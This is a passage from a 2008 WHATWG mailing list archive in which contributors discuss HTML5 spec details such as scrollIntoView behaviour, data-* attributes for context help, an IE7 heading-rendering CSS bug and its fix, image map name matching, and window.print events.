Message-ID: <535F36B856B6437BBB6C35113AB61443@POCZTOWIEC>

Nothing in the document can be further down than the bottom.  If the
document scrolls past the bottom, it shows nothing under the bottom but the
bottom is in the middle of the window.  This is inevitable if the document
is short so that it can be displayed without scrolling (and without scroll
bars); it should be avoided if the document is longer than the window's
height.
Best regards,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Tuesday, June 03, 2008 1:33 PM
To: Brad Fults
Cc: WHAT-WG
Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
view

On Mon, 8 Oct 2007, Brad Fults wrote:
>
> There are a couple of problems I have found in this section.
> 
> "If it isn't possible to show the entire element in that way, or if the 
> argument is omitted or is true, then the user agent must instead simply 
> align the top of the element with the top of the viewport." [1]
> 
>   2. It may not be possible to align the top of the element with the top 
> of the viewport without scrolling past the bottom of the document, so 
> the "must" is unreasonable. This contingency should be mentioned 
> (scrolling past the bottom of the document is not, as far as I know, 
> desired).

I don't understand what you mean. How can something in the document be 
further down than the bottom of the document?






From chaals at opera.com  Tue Jun  3 09:39:32 2008
From: chaals at opera.com (Charles McCathieNevile)
Date: Tue, 03 Jun 2008 13:39:32 -0300
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <4843EA57.3070900@myrealbox.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
Message-ID: <op.ub6lv6nzwxe0ny@widsith.local>

On Mon, 02 Jun 2008 09:40:55 -0300, Matthew Paul Thomas  
<mpt at myrealbox.com> wrote:

> Ian Hickson wrote on 27/05/08 07:47:
>>
>> On Mon, 12 Nov 2007, Matthew Paul Thomas wrote:
>>
>>> On Oct 30, 2007, at 6:01 PM, Ian Hickson wrote:
>>>>
>>>> On Mon, 13 Jun 2005, Matthew Thomas wrote:
>> ...
>>>>> Many applications provide inline help which is not a label, and the
>>>>> same attributes would be appropriate here: <div rel="help"
>>>>> for="phone-number"><p>The full number, including country code.</p>
>>>>> <p>Example: <samp>+61 3 1234 5678</samp></p></div>
>>>>
>>>> How would UAs use this?
>>>
>>> UAs likely wouldn't, but scripts could. For example, a form might
>>> include sparing help by default, with a style sheet hiding more
>>> exhaustive help (as indicated by rel="help"). Then a script could add a
>>> small help button after each control that has associated help (i.e.  
>>> each
>>> control with name="x" where there exists an element on the page with
>>> rel="help" for="x"). When a control's help button was clicked, the
>>> control's help would be shown.
>> ...
>> The data-* attributes are intended for scripts like this.
>> ...
>
> The disadvantage of using a data-* attribute is that more kinds of
> mistakes would be undetectable by a validator. It would have no idea
> that (a) the value of the attribute must be the ID of an element
> elsewhere in the document, and (b) each value must be unique within the
> document.

Indeed.

There is an attribute for this called contexthelp or something that JAWS  
implemented years ago, collaborating with the US Treasury or seomthing. I  
proposed it to the whatwg a couple of years ago but my recollection is  
that this was rejected as not useful or important or something. Certainly  
it seems mor sensible to go with existing implementation than to make up  
something incompatible, and it seems that using data-* means we will  
actually get several dozen different versions of this - using ARIA would  
be an approximately infinitely better alternative.

> I wonder if the data-* attribute naming scheme could be classified
> somehow to allow basic type checking like this. I expect there will be
> other cases where authors want an attribute value to match the ID of an
> element in the page.

Sounds like a semantic web project to me, infobot.

(Personally I think that would be useful, but at that point I'd switch to  
basing my work on XML anyway, where there are infrastructures for this  
kind of thing).

cheers

Chaals

-- 
Charles McCathieNevile  Opera Software, Standards Group
     je parle fran?ais -- hablo espa?ol -- jeg l?rer norsk
http://my.opera.com/chaals   Try Opera 9.5: http://snapshot.opera.com


From hsivonen at iki.fi  Tue Jun  3 11:51:39 2008
From: hsivonen at iki.fi (Henri Sivonen)
Date: Tue, 3 Jun 2008 21:51:39 +0300
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <4843EA57.3070900@myrealbox.com>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
Message-ID: <87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>

On Jun 2, 2008, at 15:40, Matthew Paul Thomas wrote:

> The disadvantage of using a data-* attribute is that more kinds of
> mistakes would be undetectable by a validator. It would have no idea
> that (a) the value of the attribute must be the ID of an element
> elsewhere in the document, and (b) each value must be unique within  
> the
> document.
>
> I wonder if the data-* attribute naming scheme could be classified
> somehow to allow basic type checking like this. I expect there will be
> other cases where authors want an attribute value to match the ID of  
> an
> element in the page.

I don't like the idea of trying to encode the datatypes of data-*  
attributes in a validator-sensitive way. What datatypes would a  
validator support for data-* attributes? The HTML5 datatype library  
used by Validator.nu already contains 41 datatypes, but people will  
likely want to have others. The whole point of data-* is to provide a  
place where a validator doesn't go without authors having to abuse  
e.g. title which is a freeform but exposed to humans.

The foreseeable problem with data-* is, of course, that microformat- 
like activity will happen there instead of going through the trouble  
of getting unprefixed validator-sensitive attributes minted with  
community review in the WHATWG and the HTML WG.

-- 
Henri Sivonen
hsivonen at iki.fi
http://hsivonen.iki.fi/




From annevk at opera.com  Tue Jun  3 15:00:54 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 00:00:54 +0200
Subject: [whatwg] Context help in Web Forms
In-Reply-To: <87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>
References: <019701c56f81$0ba27e30$fe01a8c0@faottcan001>
	<42ACCFFA.20306@myrealbox.com>
	<Pine.LNX.4.62.0710310056140.15478@hixie.dreamhostps.com>
	<b83a9d8ebfd613109406191e8518a770@myrealbox.com>
	<Pine.LNX.4.62.0805270636020.8559@hixie.dreamhostps.com>
	<4843EA57.3070900@myrealbox.com>
	<87609C1C-5D3F-4EF6-A888-DF110740D645@iki.fi>
Message-ID: <op.ub60rs1y64w2qv@annevk-t60.oslo.opera.com>

On Tue, 03 Jun 2008 20:51:39 +0200, Henri Sivonen <hsivonen at iki.fi> wrote:
> I don't like the idea of trying to encode the datatypes of data-*  
> attributes in a validator-sensitive way. What datatypes would a  
> validator support for data-* attributes? The HTML5 datatype library used  
> by Validator.nu already contains 41 datatypes, but people will likely  
> want to have others. The whole point of data-* is to provide a place  
> where a validator doesn't go without authors having to abuse e.g. title  
> which is a freeform but exposed to humans.

I agree.


> The foreseeable problem with data-* is, of course, that microformat-like  
> activity will happen there instead of going through the trouble of  
> getting unprefixed validator-sensitive attributes minted with community  
> review in the WHATWG and the HTML WG.

That'd be wrong as data-* does not allow implementation by UAs... Having  
said that, if we don't make it clear what the idea is that might end up  
happening in practice here and there.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:25:28 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:25:28 +0200
Subject: [whatwg] Bad CSS on the multipage version
Message-ID: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>

Regarding your page at the URL
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
#the-embed>:
The following declaration is bad and wrong:
Is: "margin-top: -2.5em"
Should be: margin-top: -2.5ex"
Wrong: A horizontal unit is applied to a vertical measure
Bad: 
Element headings (level?4) are invisible 
(obscured underneath the following content).
Please fix ASAP.
Chris



From annevk at opera.com  Wed Jun  4 03:31:45 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 12:31:45 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
Message-ID: <op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>

On Wed, 04 Jun 2008 12:25:28 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
> <http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> #the-embed>:
> The following declaration is bad and wrong:
> Is: "margin-top: -2.5em"
> Should be: margin-top: -2.5ex"
> Wrong: A horizontal unit is applied to a vertical measure
> Bad:
> Element headings (level?4) are invisible
> (obscured underneath the following content).
> Please fix ASAP.

I don't see that problem. Also, em is just a shorthand for the font-size  
of the current element (or parent element if you specify it on font-size),  
it's different from the traditional em unit in that respect.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:39:31 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:39:31 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>

Well, whatever the EM stands for, 
the rule hides the headings from viewing in Internet Explorer, 
whereas the rule with EX makes them reappear.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Anne van Kesteren
Sent: Wednesday, June 04, 2008 12:32 PM
To: K?i?tof ?elechovski; whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On Wed, 04 Jun 2008 12:25:28 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> #the-embed>:
> The following declaration is bad and wrong:
> Is: "margin-top: -2.5em"
> Should be: margin-top: -2.5ex"
> Wrong: A horizontal unit is applied to a vertical measure
> Bad:
> Element headings (level?4) are invisible
> (obscured underneath the following content).
> Please fix ASAP.

I don't see that problem. Also, em is just a shorthand for the font-size  
of the current element (or parent element if you specify it on font-size),  
it's different from the traditional em unit in that respect.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>



From annevk at opera.com  Wed Jun  4 03:45:38 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Wed, 04 Jun 2008 12:45:38 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com>
	<A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
Message-ID: <op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>

On Wed, 04 Jun 2008 12:39:31 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Well, whatever the EM stands for,
> the rule hides the headings from viewing in Internet Explorer,
> whereas the rule with EX makes them reappear.

It sounds like a bug in your browser. Did you test other browsers with  
your suggested replacement rule? I'd expect that to not work.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From giecrilj at stegny.2a.pl  Wed Jun  4 03:58:55 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 12:58:55 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC><op.ub7zi7yw64w2qv@annevk-t60.oslo.opera.com><A66DAE3CB93B4B2A93B3FF7B9D76C1DD@POCZTOWIEC>
	<op.ub7z6cp164w2qv@annevk-t60.oslo.opera.com>
Message-ID: <A859BF99B5C1467B851E9CBFE8615764@POCZTOWIEC>

Dear Anne:

I do not think you can accuse Microsoft of letting a bug in EM.  
Things like EM and EX are very GUI-dependent.

I do not have enough time and devotion to keep several browsers up to date.

(I admit I have Safari installed 
but I understand it should not be used until fixed 
according to the recent security advisory).

However, if you have another browser at hand, 
just save the source as an HTML document, 
replace the EM with EX and navigate to it.
It may show some unwanted vertical white space; 
even if it does, it is still better than IE not showing the heading at all.

Best regards,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Anne van Kesteren
Sent: Wednesday, June 04, 2008 12:46 PM
To: K?i?tof ?elechovski; whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On Wed, 04 Jun 2008 12:39:31 +0200, K?i?tof ?elechovski  
<giecrilj at stegny.2a.pl> wrote:
> Well, whatever the EM stands for,
> the rule hides the headings from viewing in Internet Explorer,
> whereas the rule with EX makes them reappear.

It sounds like a bug in your browser. Did you test other browsers with  
your suggested replacement rule? I'd expect that to not work.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>



From excors+whatwg at gmail.com  Wed Jun  4 06:43:42 2008
From: excors+whatwg at gmail.com (Philip Taylor)
Date: Wed, 4 Jun 2008 14:43:42 +0100
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
Message-ID: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>

On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>  <http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
>  #the-embed>:
>  [...]
>  Element headings (level 4) are invisible
>  (obscured underneath the following content).

Seems to be an IE CSS bug like in
http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E

That case fails in IE7; it works in IE8 (and in recent versions of
Firefox, Opera, Safari, Konqueror).

I don't know if there's a 'proper' way to fix this, but adding
   h4 { position: relative; }
into the page's CSS makes it work correctly in IE7, and doesn't affect
any other browser.

-- 
Philip Taylor
excors at gmail.com

From jackalmage at gmail.com  Wed Jun  4 08:31:14 2008
From: jackalmage at gmail.com (Tab Atkins Jr.)
Date: Wed, 4 Jun 2008 10:31:14 -0500
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
Message-ID: <dd0fbad0806040831p3022bcbdqe28b1c46a683f96f@mail.gmail.com>

On Wed, Jun 4, 2008 at 8:43 AM, Philip Taylor
<excors+whatwg at gmail.com<excors%2Bwhatwg at gmail.com>>
wrote:

> On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> > Regarding your page at the URL
> >  <
> http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
> >  #the-embed>:
> >  [...]
> >  Element headings (level 4) are invisible
> >  (obscured underneath the following content).
>
> Seems to be an IE CSS bug like in
>
> http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E<http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C%21DOCTYPE%20html%3E%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20margin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%20class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E>
>
> That case fails in IE7; it works in IE8 (and in recent versions of
> Firefox, Opera, Safari, Konqueror).
>
> I don't know if there's a 'proper' way to fix this, but adding
>   h4 { position: relative; }
> into the page's CSS makes it work correctly in IE7, and doesn't affect
> any other browser.
>
> --
> Philip Taylor
> excors at gmail.com
>

If that fixes it, then it's almost certainly a hasLayout issue (that is, an
IE7 bug).  Position:relative is a hasLayout trigger in IE7.  Generally
speaking, an element's behavior when it has layout is the correct behavior
(or at least *more* correct).

~TJ
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080604/ae1cc72c/attachment.htm>

From giecrilj at stegny.2a.pl  Wed Jun  4 08:52:22 2008
From: giecrilj at stegny.2a.pl (=?iso-8859-2?Q?K=F8i=B9tof_=AEelechovski?=)
Date: Wed, 4 Jun 2008 17:52:22 +0200
Subject: [whatwg] Bad CSS on the multipage version
In-Reply-To: <ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
References: <1EE5CBE48B4D4BB3AAA178591FAA827B@POCZTOWIEC>
	<ea09c0d10806040643x1693baa1h15d4b046838bf227@mail.gmail.com>
Message-ID: <28D820FDDF284E1DAE04C6F09F8C1A5D@POCZTOWIEC>

Perhaps it is a bug; but I would not expect it to work anyway.  It does not
seem a good idea to draw the background from the next element by
manipulating the margin.  If you want to have a common background, either
wrap both elements with a div (which would work for background images) or
declare the same background on the first element (which would work for
background colors).
Chris

-----Original Message-----
From: excors at gmail.com [mailto:excors at gmail.com] On Behalf Of Philip Taylor
Sent: Wednesday, June 04, 2008 3:44 PM
To: K?i?tof ?elechovski
Cc: whatwg at whatwg.org
Subject: Re: [whatwg] Bad CSS on the multipage version

On 04/06/2008, K?i?tof ?elechovski <giecrilj at stegny.2a.pl> wrote:
> Regarding your page at the URL
>
<http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level.html
>  #the-embed>:
>  [...]
>  Element headings (level 4) are invisible
>  (obscured underneath the following content).

Seems to be an IE CSS bug like in
http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E
%0D%0A%3Cstyle%3E%0D%0A%20.a%20%7B%20border%3A2px%20blue%20solid%20%7D%0D%0A
%20.b%20%7B%20border%3A2px%20green%20solid%3B%20background%3Ayellow%3B%20mar
gin-top%3A-0.8em%20%7D%0D%0A%3C%2Fstyle%3E%0D%0A%3Cdiv%20class%3Da%3EThis%20
text%20should%20be%20visible%20on%20top%20of%20the%20yellow%0D%0A%20%3Cdiv%2
0class%3Db%3E...%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E

That case fails in IE7; it works in IE8 (and in recent versions of
Firefox, Opera, Safari, Konqueror).

I don't know if there's a 'proper' way to fix this, but adding
   h4 { position: relative; }
into the page's CSS makes it work correctly in IE7, and doesn't affect
any other browser.

-- 
Philip Taylor
excors at gmail.com



From ian at hixie.ch  Thu Jun  5 02:27:47 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 5 Jun 2008 09:27:47 +0000 (UTC)
Subject: [whatwg] usemap="" and related issues
In-Reply-To: <46CA29B5.6080101@sicking.cc>
References: <op.tlq7qta564w2qv@id-c0020>
	<6b9c91b20701061647y7496258cyc73e82da837edce2@mail.gmail.com>
	<Pine.LNX.4.64.0708080557210.9521@dhalsim.dreamhost.com>
	<6b9c91b20708081121n1aebc059u65cd4754cd5f0af@mail.gmail.com>
	<op.twr91vqm7a8kvn@hp-a0a83fcd39d2> <46C72E3F.5020606@sicking.cc>
	<op.tw9073vw7a8kvn@hp-a0a83fcd39d2> <46C973D5.6020704@sicking.cc>
	<op.txcwqkfa64w2qv@annevk-t60.oslo.opera.com>
	<46CA29B5.6080101@sicking.cc>
Message-ID: <Pine.LNX.4.62.0806050049110.8559@hixie.dreamhostps.com>

On Wed, 15 Nov 2006, Shadow2531 wrote:
> 
> begin<map></map>end
> 
> In Opera and IE, you'll see beginend. In Firefox quirks mode, you'll see 
> the same. In Firefox standards mode, you'll see:
>
> begin
> end
> 
> The default style applied to the map element varies between browser and 
> rendering mode.
> 
> Someone once pointed out to me that even if the map element has a 
> content model of block, that doesn't mean it should have a default style 
> of block applied to it. That is a css issue though.
> 
> Anyway, yeh, if you put stuff inside map, it takes up space except for 
> <area> and <param> etc.

I'm not sure what to do about this. I guess maybe we should just make 
<map> 'display:inline' in the default CSS?


On Tue, 28 Nov 2006, Simon Pieters wrote:
> 
> Currently <map> only allows block-level elements, and <area> is 
> considered a strictly inline-level content (but only allowed as a 
> descendant of <map>).
> 
> HTML4 allowed either block-level elements or <area>s as children of 
> <map>, where the idea with block-level elements was to use a paragraph 
> or a list with <a> elements that acted as areas.
> 
> When authors switch from HTML4 to HTML5 they will find that the 
> conformance checker complains about lack of block-level elements in 
> <map> and then they will just insert a <div> or a <p> around all areas 
> and complain about the change.
> 
> Now <a> can't act as areas anymore in HTML5. But why are block-level 
> elements required? Is the intent that authors should place their <area>s 
> in paragraphs or lists? Why? Isn't it better to only allow <area>s as 
> children of <map>s, and then let UAs treat the <area>s as being a list 
> of links when used as fallback (as described in [1])?
>
> [1] http://www.hixie.ch/specs/html/usemap-alt

This is moot now right?


On Wed, 8 Aug 2007, Anne van Kesteren wrote:
> On Wed, 08 Aug 2007 07:54:33 +0200, Ian Hickson <ian at hixie.ch> wrote:
> > Should we drop it? My research indicates there's an insignificant 
> > number of pages with usemap="" attributes on <input type=image> 
> > elements (on the order of 0.008%).
> 
> The only usecase, while using <input> as control, seems to be to make 
> certain parts of the image not "clickable". Given that, it makes sense 
> to me to reduce the number of attributes browsers have to implement for 
> <input>...

Ok it's only on <img> and <object>.


On Wed, 8 Aug 2007, Michael A. Puls II wrote:
> 
> Just wan to be sure:
> 
> Even though id is required, name is allowed on <map>. Correct? (It 
> currently needs to be for Safari and Firefox in text/html or image maps 
> won't work (even on trunk versions)

I've changed the spec to require name="" instead of requiring id="", based 
on the collective feedback on this issue.


> So, it seems it might have to be case-sensitive for xhtml5 (since other 
> things are case-sensitive in xml)  and case-insensitive for html5. 
> (Unless there's no need to be case-sensitive for XHTML5. If so, then 
> Opera's way would be cool.)

I'm trying to minimise the differences, so I've left it as insensitive.


On Fri, 10 Aug 2007, Benjamin Hawkes-Lewis wrote:
> 
> Since HTML5 handles standard HTML, tag soup, and faux-XHTML (i.e. almost 
> all public web content), what is the benefit of introducing a backwards 
> incompatibility with the XHTML 1.x specifications for the 
> application/xhtml+xml serialization, in which any content (the "esoteric 
> cases" Hixie mentioned) correctly relying on case sensitivity would 
> break?

The only time this would break anything is if a page is using XML _and_ 
relying on two names different only in case to match differently. That's a 
pretty specific case and unless someone knows of a case that does this, 
I'm willing to risk breaking it to get the simplicity of fewer 
differences between the modes.


On Sat, 18 Aug 2007, Jonas Sicking wrote:
> 
> Since ID is case sensitive everywhere else, I don't see a reason to make 
> an exception from that rule here. That seems to unnecessarily complicate 
> implementation as well as introduce weird inconsistencies for authors.

It already is inconsistent for usemap="". At least for legacy Web content 
I don't think we can do much about it. At that point, I'd rather just 
extend that to XHTML than to keep another difference.


On Mon, 20 Aug 2007, Jonas Sicking wrote:
> 
> Why can't you keep ids case sensitive always for all those? Seems weird 
> from a user perspective that ids are case sensitive in all cases except 
> this one.

Well, they should be using name="" anyway, so it's not like they'll run 
into this much.


> In gecko we keep a hash for id->element which is case sensitive. This 
> hash is used for the implementation of getElementById, anchor scrolling, 
> and anything else that uses ids.
> 
> We also have a hash for name->element which is case insensitive, this 
> hash is used for things like form.elements.foo and document.foo and 
> anything else that uses names.
> 
> What you suggest is to add a third hash for id->element which would be 
> case insensitive and only used for <map>s.

I think a hash would be overkill for this, except for the rare case 
where there are a lot of <map>s.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From matt.bonner at hp.com  Thu Jun  5 11:58:53 2008
From: matt.bonner at hp.com (Bonner, Matt (IPG))
Date: Thu, 5 Jun 2008 18:58:53 +0000
Subject: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling elements into
 view
In-Reply-To: <Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
References: <1959130b0710082211m7a3fff53v9d6601fd2a81a193@mail.gmail.com>
	<Pine.LNX.4.62.0806031126170.8559@hixie.dreamhostps.com>
Message-ID: <57221E38FB4DD54C946CE654959A554D05DCFB6C6E@GVW0436EXB.americas.hpqcorp.net>

Ian Hickson wrote:

> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
> >   2. It may not be possible to align the top of the element 
> >      with the top of the viewport without scrolling past the 
> >      bottom of the document, so the "must" is unreasonable. 
> >      This contingency should be mentioned (scrolling past the
> >      bottom of the document is not, as far as I know, desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?

I'm wondering if he was thinking about cases where the element is
shorter vertically than the viewport?  It might be worth clarifying
what happens in that case.  I assume the answer is "nothing"?

> > Secondly, with respect to this section as a whole, I see no description
> > of necessary behavior for horizontal scrolling. Surely this is an issue
> > that must be addressed, as it would be decidedly deficient if
> > scrollIntoView() only took vertical scrolling into account, leaving
> > horizontally overflown content still outside of the viewport after the
> > method's invocation.
> 
> Do UAs do any horizontal scrolling today? I've mentioned it, 
> but I'm not sure what to say really.

Well, it seems like you could offer instructions analagous to
the vertical case, substituting "left" and "right" for "top"
and "bottom", no?  That could imply a second argument to the
function...

Matt
--
Matt Bonner
Hewlett-Packard Company
 

> -----Original Message-----
> From: whatwg-bounces at lists.whatwg.org 
> [mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
> Sent: Tuesday, June 03, 2008 4:33 AM
> To: Brad Fults
> Cc: WHAT-WG
> Subject: Re: [whatwg] HTML5 Feedback: Section 3.5.3 Scrolling 
> elements into view
> 
> On Mon, 8 Oct 2007, Brad Fults wrote:
> >
> > There are a couple of problems I have found in this section.
> >
> > "If it isn't possible to show the entire element in that 
> way, or if the
> > argument is omitted or is true, then the user agent must 
> instead simply
> > align the top of the element with the top of the viewport." [1]
> >
> > I have two issues with this text:
> >
> >   1. The word "simply" is rhetoric and doesn't seem reasonable or
> > useful in the context of this part of the specification.
> 
> Removed.
> 
> 
> >   2. It may not be possible to align the top of the element 
> with the top
> > of the viewport without scrolling past the bottom of the 
> document, so
> > the "must" is unreasonable. This contingency should be mentioned
> > (scrolling past the bottom of the document is not, as far as I know,
> > desired).
> 
> I don't understand what you mean. How can something in the document be
> further down than the bottom of the document?
> 
> 
> > Secondly, with respect to this section as a whole, I see no 
> description
> > of necessary behavior for horizontal scrolling. Surely this 
> is an issue
> > that must be addressed, as it would be decidedly deficient if
> > scrollIntoView() only took vertical scrolling into account, leaving
> > horizontally overflown content still outside of the 
> viewport after the
> > method's invocation.
> 
> Do UAs do any horizontal scrolling today? I've mentioned it, 
> but I'm not sure what to say really.
> 
> --
> Ian Hickson               U+1047E                
> )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   
> _\  ;`._ ,.
> Things that are impossible just take longer.   
> `._.-(,_..'--(,_..'`-.;.'
> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/x-pkcs7-signature
Size: 4798 bytes
Desc: not available
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080605/9f4ba5f7/attachment.bin>

From ian at hixie.ch  Thu Jun  5 17:11:45 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 6 Jun 2008 00:11:45 +0000 (UTC)
Subject: [whatwg] several messages
In-Reply-To: <200509062037.j86Kbmil026603@recluse.mozilla.org>
References: <200509062037.j86Kbmil026603@recluse.mozilla.org>
Message-ID: <Pine.LNX.4.62.0806052348380.8559@hixie.dreamhostps.com>

On Sun, 17 Jul 2005, Dean Edwards wrote:
>
> Anne van Kesteren wrote:
> > Shouldn't the print method on the window DOM interface be defined as well?
> > 
> > Example: <button onclick=window.print()>print</button>
> 
> IE has some nice onbeforeprint/onafterprint events. Can we add these 
> too?

Defined both.


On Mon, 18 Jul 2005, Olav Junker Kj?r wrote:
> 
> Arent these event mostly used to transform the view before printing it? 
> I think this is better handled by a print-specific style-sheet today.

There are some things for which CSS just doesn't work, sadly.


On Tue, 19 Jul 2005, Greg Kilwein wrote:
> > DG wrote: 
> >
> > a) my invoice format requires a timestamp that says something like 
